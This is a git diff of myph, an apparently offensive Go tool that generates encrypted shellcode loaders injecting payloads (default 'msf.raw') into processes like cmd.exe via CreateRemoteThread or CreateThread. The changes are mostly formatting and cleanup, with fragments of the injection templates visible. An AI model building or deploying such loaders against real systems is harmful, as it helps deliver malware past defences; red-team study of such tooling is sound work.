diff --git a/README.md b/README.md
@@ -31,7 +31,8 @@ go build -o myph .
Finally, you can install from the [golang package repository](https://pkg.go.dev/github.com/CMEPW/myph) like so:
```bash
-go install github.com/CMEPW/myph@latest
+# /!\ lowercase is important /!\
+go install github.com/cmepw/myph@latest
```
### Usage
diff --git a/cli/defaults.go b/cli/defaults.go
@@ -8,13 +8,13 @@ import (
func GetDefaultCLIOptions() Options {
opts := Options{
ShellcodePath: "msf.raw",
- OutName: "myph-out",
+ OutName: "myph-out",
OS: "windows",
Arch: "amd64",
Target: "cmd.exe",
Encryption: EncKindAES,
Key: "",
- Technique: "CRT",
+ Technique: "CRT",
}
return opts
diff --git a/cli/parser.go b/cli/parser.go
@@ -123,11 +123,11 @@ func GetParser(opts *Options) *cobra.Command {
os.Setenv("GOOS", opts.OS)
os.Setenv("GOARCH", opts.Arch)
- templateFunc := loaders.SelectTemplate(opts.Technique)
- if templateFunc == nil {
- fmt.Printf("[!] Could not find a technique for this method: %s\n", opts.Technique)
- os.Exit(1)
- }
+ templateFunc := loaders.SelectTemplate(opts.Technique)
+ if templateFunc == nil {
+ fmt.Printf("[!] Could not find a technique for this method: %s\n", opts.Technique)
+ os.Exit(1)
+ }
err = tools.WriteToFile(opts.OutName, "exec.go", templateFunc(opts.Target))
if err != nil {
@@ -154,7 +154,7 @@ func GetParser(opts *Options) *cobra.Command {
os.Exit(1)
}
- /* FIXME(djnn): if path is a distant directory, this is will not work */
+ /* FIXME(djnn): if path is a distant directory, this is will not work */
fullpath := fmt.Sprintf("%s/payload.exe", opts.OutName)
finalName := fmt.Sprintf("./%s.exe", opts.OutName)
tools.MoveFile(fullpath, finalName)
@@ -170,7 +170,7 @@ func GetParser(opts *Options) *cobra.Command {
cmd.PersistentFlags().StringVarP(&opts.OutName, "out", "f", defaults.OutName, "output name")
cmd.PersistentFlags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
cmd.PersistentFlags().StringVarP(&opts.Target, "process", "p", defaults.Target, "target process to inject shellcode to")
- cmd.PersistentFlags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, CreateThread)")
+ cmd.PersistentFlags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, CreateThread)")
cmd.PersistentFlags().StringVarP(&opts.Arch, "arch", "r", defaults.Arch, "architecture compilation target")
cmd.PersistentFlags().StringVarP(&opts.OS, "os", "o", defaults.OS, "OS compilation target")
diff --git a/cli/types.go b/cli/types.go
@@ -5,20 +5,16 @@ import "errors"
// encryption kind (used for CLI)
type encKind string
-
// shellcode-loading technique kind (used for CLI)
type technique string
-
const (
EncKindAES encKind = "AES"
EncKindXOR encKind = "XOR"
EncKindBLF encKind = "Blowfish"
-
- CRT technique = "CRT"
+ CRT technique = "CRT"
CreateThread technique = "CreateThread"
-
)
// String is used both by fmt.Print and by Cobra in help text
@@ -42,7 +38,6 @@ func (e *encKind) Type() string {
return "encKind"
}
-
// String is used both by fmt.Print and by Cobra in help text
func (e *technique) String() string {
return string(*e)
@@ -64,7 +59,6 @@ func (e *technique) Type() string {
return "technique"
}
-
type Options struct {
// Shellcode encryption method
@@ -88,6 +82,6 @@ type Options struct {
// target process name to inject
Target string
- // Shellcode loading method
- Technique string
+ // Shellcode loading method
+ Technique string
}
diff --git a/loaders/createRemoteThread.go b/loaders/createRemoteThread.go
@@ -104,7 +104,7 @@ func ExecuteOrderSixtySix(shellcode []byte) {
os.Exit(1)
}
- for {}
+ select {}
}
`, targetProcess)
}
diff --git a/loaders/createThread.go b/loaders/createThread.go
@@ -5,13 +5,12 @@ import (
)
func GetCreateThreadTemplate(targetProcess string) string {
- var _ = targetProcess // unused in this template
+ var _ = targetProcess // unused in this template
return fmt.Sprintf(`
package main
import (
- "fmt"
"syscall"
"unsafe"
)
@@ -46,7 +45,7 @@ func ExecuteOrderSixtySix(shellcode []byte) {
)
// jump to shellcode
- _, _, err = CreateThread.Call(
+ _, _, _ = CreateThread.Call(
0, // [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
0, // [in] SIZE_T dwStackSize,
addr, // shellcode address
@@ -55,8 +54,7 @@ func ExecuteOrderSixtySix(shellcode []byte) {
0, // [out, optional] LPDWORD lpThreadId
)
- for {
- }
+ select {}
}
- `,)
+ `)
}
diff --git a/loaders/utils.go b/loaders/utils.go
@@ -2,14 +2,14 @@ package loaders
func SelectTemplate(templateName string) func(string) string {
- switch templateName {
- case "CRT":
- return GetCRTTemplate
+ switch templateName {
+ case "CRT":
+ return GetCRTTemplate
- case "CreateThread":
- return GetCreateThreadTemplate
+ case "CreateThread":
+ return GetCreateThreadTemplate
- }
+ }
- return nil
+ return nil
}
| | | | | | |